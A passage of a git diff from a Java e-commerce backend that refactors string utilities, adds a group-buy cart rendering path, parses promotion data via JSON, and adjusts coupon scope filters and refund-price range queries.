(StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.MEMBER.name())) { + if (CharSequenceUtil.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.MEMBER.name())) { queryWrapper.eq("member_id", UserContext.getCurrentUser().getId()); } //按卖家查询 - if (StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name())) { + if (CharSequenceUtil.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name())) { queryWrapper.eq("store_id", UserContext.getCurrentUser().getStoreId()); } - if (StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.MANAGER.name()) - && StringUtils.isNotEmpty(storeId) + if (CharSequenceUtil.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.MANAGER.name()) + && CharSequenceUtil.isNotEmpty(storeId) ) { queryWrapper.eq("store_id", storeId); } - if (StringUtils.isNotEmpty(memberName)) { + if (CharSequenceUtil.isNotEmpty(memberName)) { queryWrapper.like("member_name", memberName); } - if (StringUtils.isNotEmpty(storeName)) { + if (CharSequenceUtil.isNotEmpty(storeName)) { queryWrapper.like("store_name", storeName); } - if (StringUtils.isNotEmpty(goodsName)) { + if (CharSequenceUtil.isNotEmpty(goodsName)) { queryWrapper.like("goods_name", goodsName); } //按时间查询 @@ -102,10 +107,10 @@ public class AfterSaleSearchParams extends PageVO { if (endDate != null) { queryWrapper.le("create_time", endDate); } - if (StringUtils.isNotEmpty(serviceStatus)) { + if (CharSequenceUtil.isNotEmpty(serviceStatus)) { queryWrapper.eq("service_status", serviceStatus); } - if (StringUtils.isNotEmpty(serviceType)) { + if (CharSequenceUtil.isNotEmpty(serviceType)) { queryWrapper.eq("service_type", serviceType); } this.betweenWrapper(queryWrapper); @@ -114,20 +119,28 @@ public class AfterSaleSearchParams extends PageVO { } private void betweenWrapper(QueryWrapper queryWrapper) { - if (StringUtils.isNotEmpty(applyRefundPrice)) { + if (CharSequenceUtil.isNotEmpty(applyRefundPrice)) { String[] s = applyRefundPrice.split("_"); if (s.length > 1) { - queryWrapper.ge("apply_refund_price", s[1]); + queryWrapper.between("apply_refund_price", s[0], s[1]); } else { - queryWrapper.le("apply_refund_price", s[0]); + queryWrapper.ge("apply_refund_price", s[0]); } } - if (StringUtils.isNotEmpty(actualRefundPrice)) { + if (CharSequenceUtil.isNotEmpty(actualRefundPrice)) { String[] s = actualRefundPrice.split("_"); if (s.length > 1) { - queryWrapper.ge("actual_refund_price", s[1]); + queryWrapper.between("actual_refund_price", s[0], s[1]); } else { - queryWrapper.le("actual_refund_price", s[0]); + queryWrapper.ge("actual_refund_price", s[0]); + } + } + if (CharSequenceUtil.isNotEmpty(flowPrice)) { + String[] s = flowPrice.split("_"); + if (s.length > 1) { + queryWrapper.between("flow_price", s[0], s[1]); + } else { + queryWrapper.ge("flow_price", s[0]); } } } diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleLogServiceImpl.java index 116ea608..fc178579 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleLogServiceImpl.java @@ -18,7 +18,6 @@ import java.util.List; * @since 2020/11/17 7:37 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class AfterSaleLogServiceImpl extends ServiceImpl implements AfterSaleLogService { @Override diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleReasonServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleReasonServiceImpl.java index df094942..1fcc1c7a 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleReasonServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleReasonServiceImpl.java @@ -19,7 +19,6 @@ import java.util.List; * @since 2020/11/17 7:38 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class AfterSaleReasonServiceImpl extends ServiceImpl implements AfterSaleReasonService { diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java index 9d2c3260..843996fa 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java @@ -65,7 +65,6 @@ import java.util.stream.Collectors; * @since 2020/11/17 7:38 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class AfterSaleServiceImpl extends ServiceImpl implements AfterSaleService { /** diff --git a/framework/src/main/java/cn/lili/modules/order/cart/entity/dto/TradeDTO.java b/framework/src/main/java/cn/lili/modules/order/cart/entity/dto/TradeDTO.java index 5191f9fb..36f84b7f 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/entity/dto/TradeDTO.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/entity/dto/TradeDTO.java @@ -106,6 +106,7 @@ public class TradeDTO implements Serializable { */ private MemberAddress memberAddress; + /** * 客户端类型 */ diff --git a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java index cd986b28..59f2e7ea 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java @@ -3,15 +3,12 @@ package cn.lili.modules.order.cart.entity.vo; import cn.lili.modules.distribution.entity.dos.DistributionGoods; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.order.cart.entity.enums.CartTypeEnum; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.tools.PromotionTools; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.NoArgsConstructor; import java.io.Serializable; -import java.util.Date; -import java.util.HashMap; -import java.util.List; import java.util.Map; /** @@ -81,12 +78,6 @@ public class CartSkuVO extends CartBase implements Serializable { @ApiModelProperty(value = "积分购买 积分数量") private Long point; - @ApiModelProperty(value = "可参与的单品活动") - private List promotions; - - @ApiModelProperty(value = "参与促销活动更新时间(一天更新一次) 例如时间为:2020-01-01 00:00:01") - private Date updatePromotionTime; - @ApiModelProperty("商品促销活动集合,key 为 促销活动类型,value 为 促销活动实体信息 ") private Map promotionMap; @@ -104,7 +95,6 @@ public class CartSkuVO extends CartBase implements Serializable { this.checked = true; this.invalid = false; //默认时间为0,让系统为此商品更新缓存 - this.updatePromotionTime = new Date(0); this.errorMessage = ""; this.isShip = true; this.purchasePrice = goodsSku.getPromotionFlag() != null && goodsSku.getPromotionFlag() ? goodsSku.getPromotionPrice() : goodsSku.getPrice(); @@ -125,9 +115,6 @@ public class CartSkuVO extends CartBase implements Serializable { } public Map getPromotionMap() { - if (this.promotionMap == null) { - return new HashMap<>(); - } - return promotionMap; + return PromotionTools.filterInvalidPromotionsMap(this.promotionMap); } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/RenderStepStatement.java b/framework/src/main/java/cn/lili/modules/order/cart/render/RenderStepStatement.java index f1c4c894..c03d1456 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/RenderStepStatement.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/RenderStepStatement.java @@ -62,6 +62,22 @@ public class RenderStepStatement { RenderStepEnums.DISTRIBUTION, RenderStepEnums.PLATFORM_COMMISSION }; + + /** + * 交易创建前渲染 + * 渲染购物车 生成SN 》分销人员佣金渲染 》平台佣金渲染 + */ + public static RenderStepEnums[] pintuanTradeRender = { + RenderStepEnums.CHECK_DATA, + RenderStepEnums.SKU_PROMOTION, + RenderStepEnums.COUPON, + RenderStepEnums.SKU_FREIGHT, + RenderStepEnums.CART_PRICE, + RenderStepEnums.CART_SN, + RenderStepEnums.DISTRIBUTION, + RenderStepEnums.PLATFORM_COMMISSION + }; + /** * 交易创建前渲染 * 渲染购物车 生成SN 》分销人员佣金渲染 》平台佣金渲染 diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/TradeBuilder.java b/framework/src/main/java/cn/lili/modules/order/cart/render/TradeBuilder.java index dd15fbb8..94655e3a 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/TradeBuilder.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/TradeBuilder.java @@ -11,6 +11,7 @@ import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; +import java.util.Date; import java.util.List; /** @@ -71,6 +72,8 @@ public class TradeBuilder { //需要对购物车渲染 if (isSingle(checkedWay)) { renderCartBySteps(tradeDTO, RenderStepStatement.checkedSingleRender); + } else if (checkedWay.equals(CartTypeEnum.PINTUAN)) { + renderCartBySteps(tradeDTO, RenderStepStatement.pintuanTradeRender); } else { renderCartBySteps(tradeDTO, RenderStepStatement.checkedRender); } @@ -83,16 +86,16 @@ public class TradeBuilder { * 1.构造交易 * 2.创建交易 * - * @param checkedWay 购物车类型 + * @param tradeDTO 交易模型 * @return 交易信息 */ - public Trade createTrade(CartTypeEnum checkedWay) { - //读取对应购物车的商品信息 - TradeDTO tradeDTO = cartService.readDTO(checkedWay); + public Trade createTrade(TradeDTO tradeDTO) { //需要对购物车渲染 - if (isSingle(checkedWay)) { + if (isSingle(tradeDTO.getCartTypeEnum())) { renderCartBySteps(tradeDTO, RenderStepStatement.singleTradeRender); + } else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.PINTUAN)) { + renderCartBySteps(tradeDTO, RenderStepStatement.pintuanTradeRender); } else { renderCartBySteps(tradeDTO, RenderStepStatement.tradeRender); } @@ -110,7 +113,7 @@ public class TradeBuilder { private boolean isSingle(CartTypeEnum checkedWay) { //拼团 积分 砍价商品 - return (checkedWay.equals(CartTypeEnum.PINTUAN) || checkedWay.equals(CartTypeEnum.POINTS) || checkedWay.equals(CartTypeEnum.KANJIA)); + return (checkedWay.equals(CartTypeEnum.POINTS) || checkedWay.equals(CartTypeEnum.KANJIA)); } /** diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java index 4c40767e..8012158f 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java @@ -1,6 +1,8 @@ package cn.lili.modules.order.cart.render.impl; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; @@ -23,7 +25,6 @@ import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PointsGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.vos.CouponVO; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; @@ -117,16 +118,6 @@ public class CheckDataRender implements CartRenderStep { //设置失效消息 cartSkuVO.setErrorMessage("商品库存不足,现有库存数量[" + dataSku.getQuantity() + "]"); } - //移除无效促销活动 - if (cartSkuVO.getPromotionMap() != null && !cartSkuVO.getPromotionMap().isEmpty()) { - cartSkuVO.setPromotionMap(cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> { - BasePromotions basePromotions = (BasePromotions) i.getValue(); - if (basePromotions.getStartTime() != null && basePromotions.getEndTime() != null) { - return basePromotions.getStartTime().getTime() <= System.currentTimeMillis() && basePromotions.getEndTime().getTime() >= System.currentTimeMillis(); - } - return true; - }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue))); - } } } @@ -151,8 +142,10 @@ public class CheckDataRender implements CartRenderStep { try { //筛选属于当前店铺的优惠券 storeCart.getValue().forEach(i -> i.getPromotionMap().forEach((key, value) -> { - if (key.contains(PromotionTypeEnum.COUPON.name()) && ((Coupon) value).getStoreId().equals(storeCart.getKey())) { - cartVO.getCanReceiveCoupon().add(new CouponVO((Coupon) value)); + JSONObject promotionsObj = JSONUtil.parseObj(value); + Coupon coupon = JSONUtil.toBean(promotionsObj, Coupon.class); + if (key.contains(PromotionTypeEnum.COUPON.name()) && coupon.getStoreId().equals(storeCart.getKey())) { + cartVO.getCanReceiveCoupon().add(new CouponVO(coupon)); } })); } catch (Exception e) { @@ -189,7 +182,8 @@ public class CheckDataRender implements CartRenderStep { if (tradeDTO.getSkuList().get(0).getPromotionMap() != null && !tradeDTO.getSkuList().get(0).getPromotionMap().isEmpty()) { Optional> pintuanPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); if (pintuanPromotions.isPresent()) { - Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(pintuanPromotions.get().getValue()); + Pintuan pintuan = promotionsObj.toBean(Pintuan.class); Integer limitNum = pintuan.getLimitNum(); for (CartSkuVO cartSkuVO : tradeDTO.getSkuList()) { if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { @@ -203,7 +197,8 @@ public class CheckDataRender implements CartRenderStep { //获取积分商品VO Optional> pointsPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.POINTS_GOODS.name())).findFirst(); if (pointsPromotions.isPresent()) { - PointsGoods pointsGoods = (PointsGoods) pointsPromotions.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(pointsPromotions.get().getValue()); + PointsGoods pointsGoods = promotionsObj.toBean(PointsGoods.class); if (pointsGoods == null) { throw new ServiceException(ResultCode.POINT_GOODS_ERROR); } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java index bcd389ef..f7e7bf55 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java @@ -1,6 +1,8 @@ package cn.lili.modules.order.cart.render.impl; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.modules.goods.service.CategoryService; import cn.lili.modules.order.cart.entity.dto.TradeDTO; @@ -64,7 +66,7 @@ public class CommissionRender implements CartRenderStep { String categoryId = cartSkuVO.getGoodsSku().getCategoryPath() .substring(cartSkuVO.getGoodsSku().getCategoryPath().lastIndexOf(",") + 1); if (CharSequenceUtil.isNotEmpty(categoryId)) { - Double commissionRate = categoryService.getById(categoryId).getCommissionRate(); + Double commissionRate = categoryService.getCategoryById(categoryId).getCommissionRate(); priceDetailDTO.setPlatFormCommissionPoint(commissionRate); } @@ -72,7 +74,8 @@ public class CommissionRender implements CartRenderStep { if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS) && tradeDTO.getSkuList().get(0).getPromotionMap() != null && !tradeDTO.getSkuList().get(0).getPromotionMap().isEmpty()) { Optional> pointsPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.POINTS_GOODS.name())).findFirst(); if (pointsPromotions.isPresent()) { - PointsGoods pointsGoods = (PointsGoods) pointsPromotions.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(pointsPromotions.get().getValue()); + PointsGoods pointsGoods = JSONUtil.toBean(promotionsObj, PointsGoods.class); priceDetailDTO.setSettlementPrice(pointsGoods.getSettlementPrice()); } } @@ -80,7 +83,8 @@ public class CommissionRender implements CartRenderStep { else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA) && tradeDTO.getSkuList().get(0).getPromotionMap() != null && !tradeDTO.getSkuList().get(0).getPromotionMap().isEmpty()) { Optional> kanjiaPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst(); if (kanjiaPromotions.isPresent()) { - KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(kanjiaPromotions.get().getValue()); + KanjiaActivityGoods kanjiaActivityGoods = JSONUtil.toBean(promotionsObj, KanjiaActivityGoods.class); priceDetailDTO.setSettlementPrice(kanjiaActivityGoods.getSettlementPrice()); } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java index ef5f0e0c..f06633e7 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java @@ -60,7 +60,7 @@ public class CouponRender implements CartRenderStep { * @param tradeDTO 交易dto */ private void renderCouponRule(TradeDTO tradeDTO) { - List memberCouponList = memberCouponService.getMemberCoupons(); + List memberCouponList = memberCouponService.getMemberCoupons(tradeDTO.getMemberId()); if (!memberCouponList.isEmpty()) { this.checkMemberExistCoupon(tradeDTO, memberCouponList); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java index 1ef8b5bf..a20ec4e3 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java @@ -1,5 +1,7 @@ package cn.lili.modules.order.cart.render.impl; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.utils.CurrencyUtil; import cn.lili.modules.goods.entity.dos.GoodsSku; @@ -55,7 +57,8 @@ public class FullDiscountRender implements CartRenderStep { Optional> fullDiscountOptional = fullDiscountSkuList.get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.FULL_DISCOUNT.name())).findFirst(); if (fullDiscountOptional.isPresent()) { - FullDiscount fullDiscount = (FullDiscount) fullDiscountOptional.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(fullDiscountOptional.get().getValue()); + FullDiscount fullDiscount = promotionsObj.toBean(FullDiscount.class); FullDiscountVO fullDiscountVO = new FullDiscountVO(fullDiscount); //如果有赠品,则将赠品信息写入 diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java index 6ff74e3c..cfcfe37b 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java @@ -1,5 +1,7 @@ package cn.lili.modules.order.cart.render.impl; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; @@ -13,10 +15,9 @@ import cn.lili.modules.order.cart.entity.vo.CartSkuVO; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; -import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.vos.PromotionSkuVO; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO; import cn.lili.modules.promotion.service.KanjiaActivityService; import org.springframework.beans.factory.annotation.Autowired; @@ -140,8 +141,8 @@ public class SkuPromotionRender implements CartRenderStep { continue; } - BasePromotions basePromotions = (BasePromotions) entry.getValue(); - PromotionSkuVO promotionSkuVO = new PromotionSkuVO(entry.getKey().split("-")[0], basePromotions.getId()); + JSONObject promotionsObj = JSONUtil.parseObj(entry.getValue()); + PromotionSkuVO promotionSkuVO = new PromotionSkuVO(entry.getKey().split("-")[0], promotionsObj.get("id", String.class)); cartSkuVO.setSubTotal(CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); cartSkuVO.getPriceDetailDTO().setGoodsPrice(cartSkuVO.getSubTotal()); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index 6c339a65..b8c51b9c 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -1,12 +1,12 @@ package cn.lili.modules.order.cart.service; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import cn.lili.common.utils.CurrencyUtil; @@ -31,25 +31,23 @@ import cn.lili.modules.order.cart.render.TradeBuilder; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.vo.ReceiptVO; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; -import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.dos.MemberCoupon; -import cn.lili.modules.promotion.entity.dos.Pintuan; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams; +import cn.lili.modules.promotion.entity.dto.search.MemberCouponSearchParams; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.MemberCouponService; import cn.lili.modules.promotion.service.PointsGoodsService; +import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.service.EsGoodsIndexService; import cn.lili.modules.search.service.EsGoodsSearchService; -import cn.lili.rocketmq.RocketmqSendCallbackBuilder; -import cn.lili.rocketmq.tags.GoodsTagsEnum; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import lombok.extern.slf4j.Slf4j; -import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -113,16 +111,6 @@ public class CartServiceImpl implements CartService { */ @Autowired private KanjiaActivityService kanjiaActivityService; - /** - * rocketMq - */ - @Autowired - private RocketMQTemplate rocketMQTemplate; - /** - * rocketMq配置 - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; /** * 交易 */ @@ -132,6 +120,9 @@ public class CartServiceImpl implements CartService { @Autowired private MemberService memberService; + @Autowired + private PromotionGoodsService promotionGoodsService; + @Override public void add(String skuId, Integer num, String cartType, Boolean cover) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); @@ -511,12 +502,11 @@ public class CartServiceImpl implements CartService { CartTypeEnum cartTypeEnum = getCartType(way); TradeDTO tradeDTO = this.readDTO(cartTypeEnum); - MemberCoupon memberCoupon = - memberCouponService.getOne( - new LambdaQueryWrapper() - .eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name()) - .eq(MemberCoupon::getMemberId, currentUser.getId()) - .eq(MemberCoupon::getId, couponId)); + MemberCouponSearchParams searchParams = new MemberCouponSearchParams(); + searchParams.setMemberCouponStatus(MemberCouponStatusEnum.NEW.name()); + searchParams.setMemberId(currentUser.getId()); + searchParams.setId(couponId); + MemberCoupon memberCoupon = memberCouponService.getMemberCoupon(searchParams); if (memberCoupon == null) { throw new ServiceException(ResultCode.COUPON_EXPIRED); } @@ -547,10 +537,8 @@ public class CartServiceImpl implements CartService { if (tradeDTO.getMemberAddress() == null) { throw new ServiceException(ResultCode.MEMBER_ADDRESS_NOT_EXIST); } - //将购物车信息写入缓存,后续逻辑调用校验 - this.resetTradeDTO(tradeDTO); //构建交易 - Trade trade = tradeBuilder.createTrade(cartTypeEnum); + Trade trade = tradeBuilder.createTrade(tradeDTO); this.cleanChecked(tradeDTO); return trade; } @@ -560,18 +548,29 @@ public class CartServiceImpl implements CartService { EsGoodsIndex goodsIndex = goodsIndexService.findById(dataSku.getId()); if (goodsIndex == null) { GoodsVO goodsVO = this.goodsService.getGoodsVO(dataSku.getGoodsId()); - goodsIndex = goodsIndexService.getTempEsGoodsIndex(dataSku, goodsVO.getGoodsParamsDTOList()); - - //发送mq消息 - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.RESET_GOODS_INDEX.name(); - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(Collections.singletonList(goodsIndex)), RocketmqSendCallbackBuilder.commonCallback()); + goodsIndex = goodsIndexService.getResetEsGoodsIndex(dataSku, goodsVO.getGoodsParamsDTOList()); } if (goodsIndex.getPromotionMap() != null && !goodsIndex.getPromotionMap().isEmpty()) { if (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.SECKILL.name())) || (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.PINTUAN.name())) && CartTypeEnum.PINTUAN.name().equals(cartType))) { - dataSku.setPromotionFlag(true); - dataSku.setPromotionPrice(goodsIndex.getPromotionPrice()); + + Optional> containsPromotion = goodsIndex.getPromotionMap().entrySet().stream().filter(i -> + i.getKey().contains(PromotionTypeEnum.SECKILL.name()) || i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); + if (containsPromotion.isPresent()) { + JSONObject promotionsObj = JSONUtil.parseObj(containsPromotion.get().getValue()); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setSkuId(dataSku.getId()); + searchParams.setPromotionId(promotionsObj.get("id").toString()); + PromotionGoods promotionsGoods = promotionGoodsService.getPromotionsGoods(searchParams); + if (promotionsGoods != null && promotionsGoods.getPrice() != null) { + dataSku.setPromotionFlag(true); + dataSku.setPromotionPrice(promotionsGoods.getPrice()); + } else { + dataSku.setPromotionFlag(false); + dataSku.setPromotionPrice(null); + } + } } promotionMap = goodsIndex.getPromotionMap(); } else { @@ -672,13 +671,13 @@ public class CartServiceImpl implements CartService { return cartSkuVOS; } else if (memberCoupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name())) { //分类路径是否包含 - return cartSkuVOS.stream().filter(i -> i.getGoodsSku().getCategoryPath().indexOf("," + memberCoupon.getScopeId() + ",") <= 0).collect(Collectors.toList()); + return cartSkuVOS.stream().filter(i -> CharSequenceUtil.contains(memberCoupon.getScopeId(), i.getGoodsSku().getCategoryPath())).collect(Collectors.toList()); } else if (memberCoupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS.name())) { //范围关联ID是否包含 - return cartSkuVOS.stream().filter(i -> memberCoupon.getScopeId().indexOf("," + i.getGoodsSku().getId() + ",") <= 0).collect(Collectors.toList()); + return cartSkuVOS.stream().filter(i -> CharSequenceUtil.contains(memberCoupon.getScopeId(), i.getGoodsSku().getId())).collect(Collectors.toList()); } else if (memberCoupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_SHOP_CATEGORY.name())) { //店铺分类路径是否包含 - return cartSkuVOS.stream().filter(i -> i.getGoodsSku().getStoreCategoryPath().indexOf("," + memberCoupon.getScopeId() + ",") <= 0).collect(Collectors.toList()); + return cartSkuVOS.stream().filter(i -> CharSequenceUtil.contains(memberCoupon.getScopeId(), i.getGoodsSku().getStoreCategoryPath())).collect(Collectors.toList()); } return new ArrayList<>(); } @@ -718,11 +717,11 @@ public class CartServiceImpl implements CartService { if (cartSkuVO.getPromotionMap() != null && !cartSkuVO.getPromotionMap().isEmpty()) { Optional> pintuanPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); if (pintuanPromotions.isPresent()) { - Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue(); + JSONObject promotionsObj = JSONUtil.parseObj(pintuanPromotions.get().getValue()); //写入拼团信息 - cartSkuVO.setPintuanId(pintuan.getId()); + cartSkuVO.setPintuanId(promotionsObj.get("id").toString()); //检测拼团限购数量 - Integer limitNum = pintuan.getLimitNum(); + Integer limitNum = promotionsObj.get("limitNum", Integer.class); if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { throw new ServiceException(ResultCode.CART_PINTUAN_LIMIT_ERROR); } @@ -739,10 